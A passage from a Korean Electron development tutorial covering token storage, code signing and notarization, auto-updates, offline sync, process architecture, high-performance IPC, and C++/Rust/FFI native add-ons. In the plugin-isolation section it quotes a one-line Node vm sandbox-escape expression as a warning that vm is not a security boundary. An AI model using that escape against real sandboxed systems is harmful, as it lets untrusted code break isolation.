safeStorage.encryptString() 으로 OS 키체인에 맡기세요.import { safeStorage } from 'electron';
// OS 가 제공하는 암호화 (Keychain · DPAPI · libsecret)
function saveToken(t: string) {
if (!safeStorage.isEncryptionAvailable()) return; // 리눅스는 없을 수 있다
store.set('tok', safeStorage.encryptString(t).toString('base64'));
}
function loadToken(): string | null {
const b = store.get('tok');
if (!b) return null;
try { return safeStorage.decryptString(Buffer.from(b, 'base64')); }
catch { store.delete('tok'); return null; } // 다른 PC 로 복사된 경우
}
try/catch 로 감싸고,
실패하면 파일을 .bak 으로 밀어내고 기본값으로 시작하세요.
코드 서명 · 공증 · 배포 채널
“다운로드했는데 Windows 가 막아요”, “손상된 파일이래요” — 기능이 아니라 서명 문제입니다. 사내 배포든 외부 배포든 여기서 한 번은 막힙니다.
Windows — SmartScreen 을 넘는 법
- 서명이 없으면 — “Windows 의 PC 보호” 파란 창. 사용자의 90%가 여기서 포기합니다
- OV 인증서(연 20~40만원대) — 서명은 되지만 평판이 쌓일 때까지 경고가 계속 뜹니다
- EV 인증서 · Azure Trusted Signing — 즉시 신뢰. 2023년 6월부터 코드 서명 키는 HSM·클라우드 보관이 의무라 pfx 파일을 CI 에 두는 방식은 끝났습니다
# electron-builder.yml — Azure Trusted Signing (요즘 가장 현실적)
win:
target: [{ target: nsis, arch: [x64, arm64] }]
azureSignOptions: # ★ win 아래에 둡니다 (최상위에 두면 설정 오류)
publisherName: "MyCompany Inc."
endpoint: "https://eus.codesigning.azure.net"
certificateProfileName: "myapp-profile"
codeSigningAccountName: "myapp-signing"
nsis:
oneClick: false # 설치 경로를 고를 수 있게
perMachine: false # 관리자 권한 없이 설치 (사내 배포에 유리)
allowToChangeInstallationDirectory: true
macOS — 서명 + 공증은 한 세트
mac:
hardenedRuntime: true # 공증의 전제 조건
gatekeeperAssess: false
entitlements: build/entitlements.mac.plist
notarize: true # electron-builder 26+ 는 이 한 줄
target: [{ target: dmg, arch: [x64, arm64] }]
<!-- build/entitlements.mac.plist — 필요한 것만 켠다 -->
<key>com.apple.security.cs.allow-jit</key><true/>
<key>com.apple.security.cs.allow-unsigned-executable-memory</key><true/>
<!-- 마이크·카메라를 쓴다면 (음성 채팅·화면 공유) -->
<key>com.apple.security.device.audio-input</key><true/>
# CI 환경 변수 (App Store Connect API 키 방식이 표준)
APPLE_API_KEY=./AuthKey_XXXX.p8
APPLE_API_KEY_ID=XXXXXXXX
APPLE_API_ISSUER=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
# 결과 확인 — 공증이 붙었는지 최종 확인
xcrun stapler validate dist/MyApp.dmg
spctl -a -vv -t install dist/MyApp.app
배포 채널 · 점진적 롤아웃
import { autoUpdater } from 'electron-updater';
// 채널: latest(안정) · beta · alpha — 버전에 -beta.1 을 붙이면 자동 인식
autoUpdater.channel = store.get('updateChannel', 'latest');
autoUpdater.autoDownload = false; // 사용자에게 먼저 묻는다
autoUpdater.on('update-available', async (info) => {
const { response } = await dialog.showMessageBox({
type: 'info',
message: `새 버전 ${info.version} 이 있습니다`,
detail: releaseNotesText(info),
buttons: ['지금 받기', '나중에'],
});
if (response === 0) autoUpdater.downloadUpdate();
});
// 받아 두고 '다음 실행 때' 적용 — 작업 중 강제 재시작은 최악의 경험
autoUpdater.on('update-downloaded', () => {
showRestartBanner(() => autoUpdater.quitAndInstall(false, true));
});
# 서버의 latest.yml 에 넣으면 일부에게만 먼저 나갑니다
version: 3.4.0
stagingPercentage: 10 # 10% 에게만 → 문제 없으면 100 으로
path: MyApp-3.4.0.exe
sha512: ...
.blockmap 을 함께 만들어
바뀐 블록만 내려받습니다. 150MB 앱의 패치가 5~15MB 로 줄어듭니다.
이전 버전의 blockmap 을 서버에서 지우지 마세요 — 지우면 전체 재다운로드가 됩니다.
GitHub Actions — 3 OS 동시 빌드
jobs:
build:
strategy:
matrix:
os: [windows-latest, macos-latest, ubuntu-latest]
runs-on: ${{ matrix.os }}
steps:
- uses: actions/checkout@v5
- uses: actions/setup-node@v5
with: { node-version: 24, cache: npm }
- run: npm ci
- run: npx electron-builder --publish always
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
APPLE_API_KEY_ID: ${{ secrets.APPLE_API_KEY_ID }}
APPLE_API_ISSUER: ${{ secrets.APPLE_API_ISSUER }}
CSC_LINK: ${{ secrets.CSC_LINK }}
CSC_KEY_PASSWORD: ${{ secrets.CSC_KEY_PASSWORD }}
- macOS 는 macOS 러너에서만 서명·공증됩니다 — 교차 빌드로는 안 됩니다
- Windows arm64 도 함께 내세요 — Copilot+ PC 사용자가 늘고 있습니다
- Linux 는 AppImage + deb 두 개면 대부분 커버됩니다
- 서명 키는 절대 저장소에 넣지 말 것 — Secrets 또는 클라우드 서명 서비스
오프라인 우선 · 동기화 설계
Slack·Notion 을 지하철에서 열어도 어제 대화가 보이고 글이 써집니다. 데스크탑 앱이 웹앱과 갈라지는 지점이자, 가장 자주 틀리는 설계입니다.
아웃박스 패턴 — 보낼 것을 DB 에 적는다
-- 로컬 SQLite (better-sqlite3 · node:sqlite)
CREATE TABLE messages (
id TEXT PRIMARY KEY, -- 클라이언트가 만든 UUID
room_id TEXT NOT NULL,
body TEXT NOT NULL,
created_at INTEGER NOT NULL,
server_seq INTEGER, -- NULL 이면 아직 서버가 모르는 것
state TEXT NOT NULL -- pending | sent | failed
);
CREATE INDEX idx_msg_room ON messages(room_id, created_at);
CREATE TABLE outbox (
id TEXT PRIMARY KEY,
op TEXT NOT NULL, -- create.message · update.doc ...
payload TEXT NOT NULL, -- JSON
tries INTEGER NOT NULL DEFAULT 0,
next_at INTEGER NOT NULL -- 지수 백오프용 시각
);
// 전송 = '로컬에 쓰기' 한 트랜잭션. 네트워크는 나중 일이다
const send = db.transaction((roomId: string, body: string) => {
const id = crypto.randomUUID();
db.prepare(`INSERT INTO messages
(id,room_id,body,created_at,state) VALUES (?,?,?,?,'pending')`)
.run(id, roomId, body, Date.now());
db.prepare(`INSERT INTO outbox (id,op,payload,next_at) VALUES (?,?,?,?)`)
.run(id, 'create.message', JSON.stringify({ id, roomId, body }), Date.now());
return id;
});
// 화면은 로컬 DB 만 봅니다 — 네트워크 상태와 무관하게 항상 그려집니다
플러시 루프 · 재연결
const BACKOFF = [1_000, 2_000, 5_000, 15_000, 60_000];
async function flush() {
const now = Date.now();
const rows = db.prepare(
`SELECT * FROM outbox WHERE next_at <= ? ORDER BY next_at LIMIT 20`).all(now);
for (const r of rows) {
try {
await api(r.op, JSON.parse(r.payload)); // 서버는 id 로 멱등 처리
db.prepare(`DELETE FROM outbox WHERE id = ?`).run(r.id);
db.prepare(`UPDATE messages SET state='sent' WHERE id = ?`).run(r.id);
} catch (e) {
const tries = r.tries + 1;
const wait = BACKOFF[Math.min(tries - 1, BACKOFF.length - 1)];
// 4xx 는 재시도해도 소용없다 — 실패로 확정하고 사용자에게 알린다
const fatal = e instanceof HttpError && e.status >= 400 && e.status < 500;
if (fatal || tries > 12) {
db.prepare(`DELETE FROM outbox WHERE id=?`).run(r.id);
db.prepare(`UPDATE messages SET state='failed' WHERE id=?`).run(r.id);
} else {
db.prepare(`UPDATE outbox SET tries=?, next_at=? WHERE id=?`)
.run(tries, now + wait, r.id);
}
}
}
}
// 네트워크가 돌아오면 즉시 한 번 — 이벤트는 렌더러에서 받아 메인으로 넘긴다
setInterval(flush, 3_000);
ipcMain.on('net:online', () => flush());
navigator.onLine 은 “랜선이 꽂혀 있다”만 알려 줍니다.
사내 프록시·캡티브 포털에서는 온라인인데 서버는 못 가는 상태가 흔합니다.
실제 판단 기준은 요청의 성공 여부여야 하고,
onLine 은 재시도를 앞당기는 힌트로만 쓰세요.
충돌 — 무엇을 고를 것인가
델타 동기화 — 매번 전부 받지 않기
// 서버는 단조 증가하는 seq(또는 커서)를 준다
async function pull() {
const since = db.prepare(`SELECT COALESCE(MAX(server_seq),0) s FROM messages`)
.get().s;
const { changes, nextSeq, reset } = await api('sync.pull', { since });
if (reset) return fullResync(); // 서버가 '너무 오래됐다'고 하면 전체 재동기화
db.transaction(() => {
for (const c of changes) {
if (c.deleted) db.prepare(`DELETE FROM messages WHERE id=?`).run(c.id);
else db.prepare(`INSERT INTO messages (id,room_id,body,created_at,server_seq,state)
VALUES (@id,@roomId,@body,@createdAt,@seq,'sent')
ON CONFLICT(id) DO UPDATE SET
body=excluded.body, server_seq=excluded.server_seq`).run(c);
}
db.prepare(`UPDATE meta SET cursor=?`).run(nextSeq);
})();
}
// 실시간은 WebSocket, 재연결 직후엔 반드시 pull() 한 번
ws.on('open', () => pull()); // 끊긴 동안의 변경분을 메운다
ws.on('message', (m) => applyChange(JSON.parse(m)));
- 재연결 직후 pull 을 빼먹는 것이 “가끔 메시지가 안 보여요”의 정체입니다
- 로컬 DB 는 영원히 커집니다 — 오래된 방은 정리 정책을 두세요
- 스키마가 바뀌면 마이그레이션이 필수입니다(
user_version활용) - 동기화 상태(대기 N건 · 마지막 동기화 시각)를 UI 에 항상 보여 주세요
사내 도구 체크리스트
실제로 만들어 배포할 때 놓치기 쉬운 것들을 모았습니다.
설계 단계
- ☐ 정말 데스크탑 앱이어야 하는가? 웹으로 되는 일이면 웹이 배포·유지보수가 훨씬 쉽습니다. 로컬 파일·프린터·시리얼 포트·오프라인이 필요할 때만 가치가 있습니다
- ☐ DB 에 직접 붙지 않기 — 접속 정보가 앱에 들어가면 사용자 PC 에서 DB 전체가 열립니다. 반드시 서버 API 를 거치세요
- ☐ 인증은 서버에서 — 앱 안의 검사는 우회됩니다
- ☐ 지원할 OS·버전 범위 확정 (Windows 10 이상? 맥 인텔도?)
- ☐ 코드 서명 인증서 확보 계획 (e09)
개발 단계
- ☐
contextIsolation: true·nodeIntegration: false(e04) - ☐ IPC 채널마다 입력 검증
- ☐ 설정·DB 는
userData에 (설치 폴더 X) - ☐ 단일 인스턴스 잠금
- ☐ 창 크기·위치 기억
- ☐ 로그를 파일로 — 사용자 PC 에서 무슨 일이 났는지 알 유일한 방법
배포 · 운영
// 로그 파일 — 사내 도구에서 가장 중요한 기능입니다
import log from "electron-log/main";
log.initialize();
log.transports.file.level = "info";
log.transports.file.maxSize = 10 * 1024 * 1024; // 10MB 로테이션
log.errorHandler.startCatching(); // 크래시 자동 기록
// 사용자에게 로그 위치 알려 주기 (문의 대응이 10배 쉬워집니다)
ipcMain.handle("log:open", () =>
shell.showItemInFolder(log.transports.file.getFile().path));
// 크래시 리포팅
import * as Sentry from "@sentry/electron/main";
Sentry.init({ dsn: process.env.SENTRY_DSN, release: app.getVersion() });
- ☐ 자동 업데이트 동작 확인 (구버전 → 신버전 실제 테스트)
- ☐ 백신 오탐 확인 — 서명 없는 exe 는 자주 차단됩니다
- ☐ 사내 프록시·인증서 환경에서 API 호출이 되는지
- ☐ 오프라인·네트워크 끊김 상황 처리
- ☐ 사용자 매뉴얼 + 로그 보내는 법 안내
Discord · VS Code
수준으로
끌어올리기
앞 탭이 사내 도구를 만드는 법이었다면, 여기는 수천만 명이 쓰는 앱의 기술입니다. JS 로 안 되는 성능은 C++·Rust 애드온으로 내려가고, 음성 채팅·화면 공유·오버레이는 WebRTC·OSR·GPU 영역입니다. 여기까지 마치면 네이티브 모듈을 직접 붙이고, 음성·화면 파이프라인을 설계하며, 시작 시간과 크래시를 수치로 관리할 수 있습니다.
대규모 앱 아키텍처
VS Code 와 Discord 는 어떻게 무거워지지 않았는가. 구조가 답입니다.
VS Code 식 — 프로세스로 격리
┌─────────────────────────────────────────┐
│ Main (Node) │ 창·메뉴·업데이트만
│ 가볍게 유지 — 여기가 막히면 전부 멈춤 │
└──┬───────────┬──────────────┬───────────┘
│ IPC │ MessagePort │ fork
▼ ▼ ▼
┌────────┐ ┌──────────────┐ ┌────────────┐
│Renderer│ │ Extension │ │ 파일검색· │
│ UI만 │ │ Host │ │ Git·LSP │
│ │ │ (확장 격리) │ │ (유틸리티) │
└────────┘ └──────────────┘ └────────────┘
핵심 원칙
① UI 스레드에서 무거운 일을 절대 하지 않는다
② 남의 코드(확장·플러그인)는 별도 프로세스에 가둔다
③ 하나가 죽어도 앱 전체가 죽지 않는다
Discord 식 — 미디어를 네이티브로
┌──────────────┐
│ Renderer │ React UI · 오디오 제어
└───┬──────────┘
│ MessagePort (고빈도·저지연 · v03)
▼
┌──────────────────────────────┐
│ Native Voice Engine (C++) │ ★ JS 밖에서 도는 부분
│ Opus 인코딩 · 지터버퍼 │
│ 에코 제거(AEC) · 노이즈 억제 │
│ 디바이스 I/O (WASAPI 등) │
└──────────────────────────────┘
왜 네이티브인가
· 오디오는 10ms 단위 실시간 — GC 멈춤을 못 견딤
· OS 오디오 API 는 JS 에서 못 건드림
· 인코딩·DSP 는 SIMD 로 몇 배 차이
무엇을 어디에 둘 것인가
| 일 | 어디서 | 이유 |
|---|---|---|
| 화면 그리기·상태 | Renderer | 그 외의 것을 여기 두면 UI 가 끊깁니다 |
| 창·메뉴·트레이·업데이트 | Main | OS 와 대화하는 유일한 곳 |
| 파일 파싱·인덱싱·압축 | utilityProcess | 크래시가 나도 앱은 살아남습니다 (v02) |
| 플러그인·사용자 스크립트 | 별도 프로세스 | 남의 코드는 반드시 격리 |
| 오디오 DSP·코덱 | 네이티브 애드온 | 실시간성 · GC 회피 (v04·v09) |
| 암호화·해싱 대량 연산 | 네이티브 또는 워커 | CPU 바운드는 이벤트 루프를 막습니다 |
프로세스 모델 심화
Electron 에는 무거운 일을 내보낼 곳이 네 군데 있습니다. 고르는 기준이 있습니다.
| 방식 | 실체 | 쓸 때 | 주의 |
|---|---|---|---|
| worker_threads | 같은 프로세스의 스레드 | CPU 연산 (파싱·이미지 변환) | 크래시 시 프로세스 전체 사망 |
| utilityProcess | Electron 관리 자식 프로세스 | ★ 대부분의 백그라운드 작업 | Electron 22+ · Node API 전부 사용 가능 |
| child_process | 임의의 외부 실행 파일 | ffmpeg · 파이썬 스크립트 호출 | 경로·인자 이스케이프 주입 위험 |
| hidden BrowserWindow | 보이지 않는 렌더러 | Canvas·WebGL 이 필요한 처리 | 메모리가 큽니다 — 남용 금지 |
utilityProcess — 기본으로 쓸 것
import { utilityProcess, MessageChannelMain } from "electron";
const { port1, port2 } = new MessageChannelMain();
const child = utilityProcess.fork(
path.join(__dirname, "workers/indexer.js"),
[], // argv
{
serviceName: "indexer", // ★ 작업 관리자에 이 이름으로 보입니다
stdio: "pipe",
execArgv: ["--max-old-space-size=512"], // 워커만 메모리 제한
}
);
// 포트를 넘겨 주면 이후 통신은 메인을 거치지 않습니다
child.postMessage({ type: "init" }, [port1]);
child.on("exit", (code) => {
log.warn("indexer 종료", code);
if (code !== 0) respawn(); // ★ 죽으면 되살리기
});
child.stdout?.on("data", (d) => log.info("[indexer]", d.toString()));
serviceName 을 꼭 지정하세요.
지정하지 않으면 작업 관리자에 Electron Helper 로만 보여
사용자도 개발자도 어느 프로세스가 CPU 를 먹는지 알 수 없습니다.
Chrome 의 작업 관리자(Shift+Esc 개념)처럼 앱 안에
app.getAppMetrics() 기반 진단 화면을 두면 지원 문의가 크게 줄어듭니다.
플러그인 격리 패턴
// 남의 코드를 돌린다면 — 프로세스 격리 + 권한 제한 + 감시
const host = utilityProcess.fork(pluginHostPath, [pluginId], {
serviceName: `plugin:${pluginId}`,
execArgv: ["--max-old-space-size=256"],
});
// ① 응답 없음 감시 (하트비트)
let alive = true;
const hb = setInterval(() => {
if (!alive) { host.kill(); onPluginHang(pluginId); return; }
alive = false;
host.postMessage({ type: "ping" });
}, 5000);
host.on("message", (m) => { if (m.type === "pong") alive = true; });
// ② 종료 시 정리
host.on("exit", () => clearInterval(hb));
// ③ 플러그인이 할 수 있는 일은 "메인이 제공하는 RPC" 로만 제한
// fs 를 직접 주지 말고, 허용된 디렉터리만 다루는 함수를 제공합니다
vm 모듈은 샌드박스가 아닙니다.
Node 공식 문서도 보안 경계로 쓰지 말라고 명시합니다 —
this.constructor.constructor("return process")() 같은 방법으로 탈출할 수 있습니다.
신뢰할 수 없는 코드는 반드시 별도 프로세스(가능하면 OS 샌드박스까지)에 두세요.
고성능 IPC
ipcRenderer.invoke 로는 감당이 안 되는 고빈도·대용량 구간을 다룹니다.
기본 IPC 의 비용
ipcRenderer.invoke 의 실제 경로
렌더러 → [구조화 복제 직렬화] → 메인 IPC 큐
→ 메인 스레드에서 처리 → [다시 직렬화] → 렌더러
비용이 커지는 지점
① 구조화 복제 — 객체가 크고 깊을수록 급증
② 메인 스레드 경유 — 메인이 바쁘면 전부 대기
③ 초당 수백 회 호출 시 큐가 밀림
체감 기준 (대략)
· 작은 객체 · 초당 수십 회 → 그냥 invoke 로 충분
· 수 MB 데이터 · 초당 수백 회 → MessagePort 로
· 오디오·비디오 프레임 (연속) → 공유 메모리 · 네이티브로
invoke("state:get") 을 호출하는 폴링 구조입니다.
메인이 밀어 주는(push) 구조로 바꾸고,
변경이 잦으면 합치기(coalescing) 를 적용하세요 —
16ms 안에 들어온 갱신은 한 번만 보냅니다.
MessagePort — 메인을 건너뛰기
// 메인 — 워커와 렌더러를 직접 연결해 줍니다
import { MessageChannelMain } from "electron";
const { port1, port2 } = new MessageChannelMain();
worker.postMessage({ type: "port" }, [port1]); // 워커에 한쪽
mainWindow.webContents.postMessage("port:worker", null, [port2]); // 렌더러에 반대쪽
// ★ 이후 워커 ↔ 렌더러 통신은 메인 스레드를 전혀 거치지 않습니다
// 프리로드 — 포트를 받아 렌더러에 전달
ipcRenderer.on("port:worker", (e) => {
const port = e.ports[0];
port.start();
contextBridge.exposeInMainWorld("workerPort", {
send: (msg: unknown) => port.postMessage(msg),
onMessage: (cb: (m: unknown) => void) => {
port.onmessage = (ev) => cb(ev.data);
},
});
});
대용량 — 복사 없이 넘기기
// ① Transferable — 소유권 이전 (복사 0)
const buf = new ArrayBuffer(16 * 1024 * 1024);
port.postMessage({ type: "frame", buf }, [buf]);
// ★ 넘긴 쪽에서는 buf 가 즉시 사용 불가(detached)가 됩니다
// ② SharedArrayBuffer — 양쪽이 동시에 접근 (링 버퍼에 적합)
// 렌더러에서 쓰려면 교차 출처 격리 헤더가 필요합니다
session.defaultSession.webRequest.onHeadersReceived((d, cb) => {
cb({ responseHeaders: {
...d.responseHeaders,
"Cross-Origin-Opener-Policy": ["same-origin"],
"Cross-Origin-Embedder-Policy": ["require-corp"],
}});
});
SharedArrayBuffer + Atomics 링 버퍼가 정석입니다.
메시지를 주고받는 것이 아니라 정해진 메모리를 서로 읽고 쓰기만 하므로
할당도 직렬화도 없습니다. AudioWorklet 과의 연결에 그대로 씁니다(v08).
C++ 애드온 — N-API
JS 로 안 되는 성능·OS 기능은 여기서 해결합니다. 처음부터 끝까지 만들어 봅니다.
.node 가 여러 버전에서 동작합니다.
Electron 도 N-API 를 지원하므로 새 Electron 으로 올려도 다시 빌드할 필요가 없습니다 —
이것이 better-sqlite3 재빌드 고생과 갈리는 지점입니다(v07).
① 프로젝트 구성
npm i -D node-addon-api node-gyp// binding.gyp — 빌드 설정
{
"targets": [{
"target_name": "fastcalc",
"sources": [ "src/fastcalc.cc" ],
"include_dirs": [
"<!@(node -p \"require('node-addon-api').include\")"
],
"defines": [ "NAPI_DISABLE_CPP_EXCEPTIONS" ],
"cflags_cc": [ "-O3", "-std=c++17" ],
"msvs_settings": {
"VCCLCompilerTool": { "ExceptionHandling": 1, "Optimization": 2 }
},
"xcode_settings": {
"CLANG_CXX_LANGUAGE_STANDARD": "c++17",
"MACOSX_DEPLOYMENT_TARGET": "11.0"
}
}]
}
// package.json
{
"gypfile": true,
"scripts": {
"build:native": "node-gyp rebuild",
"rebuild:electron": "electron-rebuild -f -w fastcalc"
}
}
② C++ 코드 — 동기 함수
#include <napi.h>
#include <vector>
#include <cstdint>
// TypedArray 를 복사 없이 그대로 받습니다
Napi::Value SumSquares(const Napi::CallbackInfo& info) {
Napi::Env env = info.Env();
if (info.Length() < 1 || !info[0].IsTypedArray()) {
Napi::TypeError::New(env, "Float32Array 가 필요합니다")
.ThrowAsJavaScriptException();
return env.Null();
}
Napi::Float32Array arr = info[0].As<Napi::Float32Array>();
const float* data = arr.Data(); // ★ JS 힙을 직접 참조 (복사 0)
size_t len = arr.ElementLength();
double sum = 0.0;
for (size_t i = 0; i < len; ++i) sum += static_cast<double>(data[i]) * data[i];
return Napi::Number::New(env, sum);
}
Napi::Object Init(Napi::Env env, Napi::Object exports) {
exports.Set("sumSquares", Napi::Function::New(env, SumSquares));
return exports;
}
NODE_API_MODULE(fastcalc, Init)
③ 비동기 — AsyncWorker
class HashWorker : public Napi::AsyncWorker {
public:
HashWorker(Napi::Env env, std::vector<uint8_t> data)
: Napi::AsyncWorker(env),
deferred_(Napi::Promise::Deferred::New(env)),
data_(std::move(data)) {}
Napi::Promise GetPromise() { return deferred_.Promise(); }
// ★ 워커 스레드에서 실행 — 여기서 JS 객체를 만지면 안 됩니다
void Execute() override {
result_ = heavy_hash(data_.data(), data_.size());
}
// ★ 다시 JS 스레드 — 여기서만 JS 값을 다룹니다
void OnOK() override {
Napi::HandleScope scope(Env());
deferred_.Resolve(Napi::String::New(Env(), result_));
}
void OnError(const Napi::Error& e) override {
deferred_.Reject(e.Value());
}
private:
Napi::Promise::Deferred deferred_;
std::vector<uint8_t> data_;
std::string result_;
};
Napi::Value HashAsync(const Napi::CallbackInfo& info) {
auto buf = info[0].As<Napi::Buffer<uint8_t>>();
// ★ 워커 스레드에서 쓸 데이터는 반드시 복사해 둡니다
std::vector<uint8_t> copy(buf.Data(), buf.Data() + buf.Length());
auto* w = new HashWorker(info.Env(), std::move(copy));
w->Queue();
return w->GetPromise();
}
④ C++ → JS 콜백 (ThreadSafeFunction)
// 오디오 콜백처럼 "네이티브 스레드가 JS 를 부르는" 경우
Napi::ThreadSafeFunction tsfn;
Napi::Value Start(const Napi::CallbackInfo& info) {
tsfn = Napi::ThreadSafeFunction::New(
info.Env(),
info[0].As<Napi::Function>(), // JS 콜백
"AudioCallback",
0, // 큐 무제한
1); // 스레드 1개가 사용
std::thread([] {
while (running) {
float level = capture_level();
// ★ 다른 스레드에서 안전하게 JS 호출
tsfn.BlockingCall([level](Napi::Env env, Napi::Function cb) {
cb.Call({ Napi::Number::New(env, level) });
});
}
tsfn.Release(); // ★ 반드시 해제
}).detach();
return info.Env().Undefined();
}
// JS 쪽 사용
const native = require("./build/Release/fastcalc.node");
const buf = new Float32Array(1_000_000);
console.log(native.sumSquares(buf)); // 동기
await native.hashAsync(Buffer.from(data)); // 비동기
native.start((level: number) => updateMeter(level)); // 콜백
Release() 하지 않으면 앱이 종료되지 않습니다.
참조가 남아 이벤트 루프가 계속 살아 있기 때문입니다 —
"종료를 눌러도 프로세스가 안 죽는" 버그의 대표적 원인입니다.
BlockingCall 은 큐가 가득 차면 네이티브 스레드를 멈춥니다 —
오디오 스레드에서는 NonBlockingCall 을 쓰고 드롭을 감수하는 편이 안전합니다.
Rust 애드온 — napi-rs
C++ 보다 안전하고 빌드가 쉽습니다. 새로 시작한다면 이쪽을 권합니다.
시작하기
npm create napi@latest my-native — 프로젝트·CI·크로스빌드 설정이 한 번에 생성됩니다# Cargo.toml
[package]
name = "my_native"
version = "0.1.0"
edition = "2021"
[lib]
crate-type = ["cdylib"]
[dependencies]
napi = { version = "2", features = ["napi8", "async", "tokio_rt"] }
napi-derive = "2"
tokio = { version = "1", features = ["fs"] } # 아래 hash_file 의 tokio::fs
blake3 = "1" # 아래 hash_file 의 해시
[build-dependencies]
napi-build = "2"
[profile.release]
lto = true
codegen-units = 1
opt-level = 3
// src/lib.rs
#![deny(clippy::all)]
use napi_derive::napi;
#[napi]
pub fn sum_squares(data: &[f32]) -> f64 {
data.iter().map(|&x| (x as f64) * (x as f64)).sum()
}
// ★ 자동으로 Promise 가 됩니다 — 스레드 풀에서 실행
#[napi]
pub async fn hash_file(path: String) -> napi::Result<String> {
let bytes = tokio::fs::read(&path).await
.map_err(|e| napi::Error::from_reason(e.to_string()))?;
Ok(blake3::hash(&bytes).to_hex().to_string())
}
// 구조체도 그대로 오갑니다
#[napi(object)]
pub struct Stats { pub count: u32, pub mean: f64 }
#[napi]
pub fn analyze(data: Vec<f64>) -> Stats {
let n = data.len() as u32;
let mean = data.iter().sum::<f64>() / n as f64;
Stats { count: n, mean }
}
콜백 · 타입 · 배포
use napi::threadsafe_function::{
ThreadsafeFunction, ThreadsafeFunctionCallMode, ErrorStrategy,
};
#[napi]
pub fn watch_level(
callback: ThreadsafeFunction<f64, ErrorStrategy::Fatal>,
) -> napi::Result<()> {
std::thread::spawn(move || {
loop {
let level = capture_level();
// ★ C++ 의 ThreadSafeFunction 과 같은 역할인데 훨씬 짧습니다
callback.call(level, ThreadsafeFunctionCallMode::NonBlocking);
std::thread::sleep(std::time::Duration::from_millis(16));
}
});
Ok(())
}
// ★ index.d.ts 가 자동 생성됩니다 — 타입을 직접 쓸 필요가 없습니다
export function sumSquares(data: Float32Array): number
export function hashFile(path: string): Promise<string>
export function analyze(data: Array<number>): Stats
export interface Stats { count: number; mean: number }
# CI — OS·아키텍처별 바이너리를 미리 만들어 배포합니다
strategy:
matrix:
settings:
- host: windows-latest
target: x86_64-pc-windows-msvc
- host: macos-latest
target: aarch64-apple-darwin
- host: macos-latest
target: x86_64-apple-darwin
- host: ubuntu-latest
target: x86_64-unknown-linux-gnu
# → my-native-win32-x64-msvc 같은 패키지로 나뉘어 게시되고,
# 설치 시 해당 플랫폼 것만 내려받습니다 (optionalDependencies)
Result 가 JS 예외로 자동 변환,
메모리 안전성(세그폴트로 앱이 죽는 사고가 구조적으로 줄어듭니다),
그리고 크로스 컴파일 체계가 처음부터 갖춰져 있다는 점입니다.
C++ 과 Rust, 무엇을 고를까
| 기준 | C++ (node-addon-api) | Rust (napi-rs) |
|---|---|---|
| 기존 C/C++ 라이브러리 연동 | 압도적으로 유리 (헤더만 포함) | bindgen 등 한 겹이 더 필요 |
| 메모리 안전 | 전적으로 개발자 책임 | 컴파일러가 강제 |
| 빌드 체계 | node-gyp · 환경 의존적 | cargo · 재현성 높음 |
| 타입 정의 | 손으로 작성 | 자동 생성 |
| OS API 직접 호출 | 가장 직접적 | windows·core-foundation 크레이트로 가능 |
| 팀 학습 비용 | 익숙한 사람이 많음 | 소유권·수명 개념 학습 필요 |
.node 파일입니다.
FFI · WASM — 컴파일 없이
애드온을 만들지 않고도 네이티브 코드를 부르는 두 가지 길입니다.
FFI — DLL·dylib 를 직접 호출
npm i koffi — ffi-napi 는 사실상 유지보수가 멈춰 koffi 가 현재 표준입니다import koffi from "koffi";
// Windows API 를 직접 부르는 예 — 애드온 빌드가 전혀 필요 없습니다
const user32 = koffi.load("user32.dll");
const MessageBoxW = user32.func(
"int __stdcall MessageBoxW(void* hwnd, str16 text, str16 caption, uint type)"
);
MessageBoxW(null, "안녕하세요", "알림", 0);
// 구조체도 다룰 수 있습니다
const POINT = koffi.struct("POINT", { x: "long", y: "long" });
const GetCursorPos = user32.func("bool __stdcall GetCursorPos(_Out_ POINT* p)");
const pt = {};
GetCursorPos(pt);
console.log(pt.x, pt.y);
WASM — 이식성이 필요할 때
// C/C++/Rust 를 WASM 으로 컴파일해 렌더러에서 직접 실행
const wasm = await WebAssembly.instantiateStreaming(
fetch("codec.wasm"),
{ env: { memory: new WebAssembly.Memory({ initial: 256 }) } }
);
// SIMD·스레드까지 쓰면 네이티브의 상당 부분을 따라잡습니다
// (스레드는 SharedArrayBuffer → 교차 출처 격리 헤더 필요 · v03)
const { encode } = wasm.instance.exports;
| 네이티브 애드온 | WASM | |
|---|---|---|
| 속도 | 최고 | 대략 네이티브의 절반~80% |
| OS API 접근 | 가능 | 불가 (샌드박스) |
| 배포 | OS×아키텍처별 바이너리 | 파일 하나로 전부 |
| 렌더러에서 실행 | 불가 (메인·워커만) | 가능 |
| 크래시 영향 | 프로세스 사망 | 예외로 처리됨 |
네이티브 모듈 운영
"내 PC 에선 되는데 사용자 PC 에선 안 되는" 문제의 거의 전부가 여기 있습니다.
ABI — 재빌드가 필요한 이유
같은 .node 파일이 아무 데서나 돌지 않는 이유
① Node 용으로 빌드한 것 ≠ Electron 용
→ Electron 은 자체 V8·헤더를 씁니다
② 아키텍처가 다르면 불가 (x64 / arm64)
③ OS 가 다르면 불가 (win / mac / linux)
④ NAN·V8 직접 사용 모듈은 버전마다 다시 빌드
→ N-API 모듈은 ①④ 가 사라집니다 (ABI 안정)
그래도 ②③ 은 남으므로 플랫폼별 바이너리는 필요합니다
# Electron 용으로 다시 빌드
npx electron-rebuild
npx electron-rebuild -f -w better-sqlite3 # 특정 모듈만
# 직접 지정할 때
npm rebuild --runtime=electron --target=42.0.0 \
--dist-url=https://electronjs.org/headers
# 확인 — 어떤 런타임용으로 빌드됐는지
node -p "process.versions.modules" # Node 의 ABI 버전
ELECTRON_RUN_AS_NODE=1 npx electron -p "process.versions.modules" # Electron 의 ABI 버전
# ↑ 이 환경 변수 없이 -p 를 주면 Node 처럼 동작하지 않고 앱 창이 뜹니다
better-sqlite3 → node:sqlite) ·
④ 직접 만든다면 napi-rs 로 플랫폼별 사전 빌드를 게시(v05).
패키징에서 빠뜨리는 것들
# electron-builder.yml
asar: true
asarUnpack:
- "**/*.node" # ★ 네이티브 바이너리는 asar 밖에 있어야 로드됩니다
- "**/node_modules/sharp/**"
# 아키텍처별로 따로 빌드 — universal 로 묶을 수도 있습니다
mac:
target:
- target: dmg
arch: [x64, arm64] # 또는 universal
// asar 안팎 경로 차이를 흡수하는 관용구
const nativePath = app.isPackaged
? path.join(process.resourcesPath, "app.asar.unpacked",
"node_modules", "my-native", "index.node")
: path.join(__dirname, "../node_modules/my-native/index.node");
// 로드 실패를 조용히 넘기지 말 것 — 원인을 사용자에게 알립니다
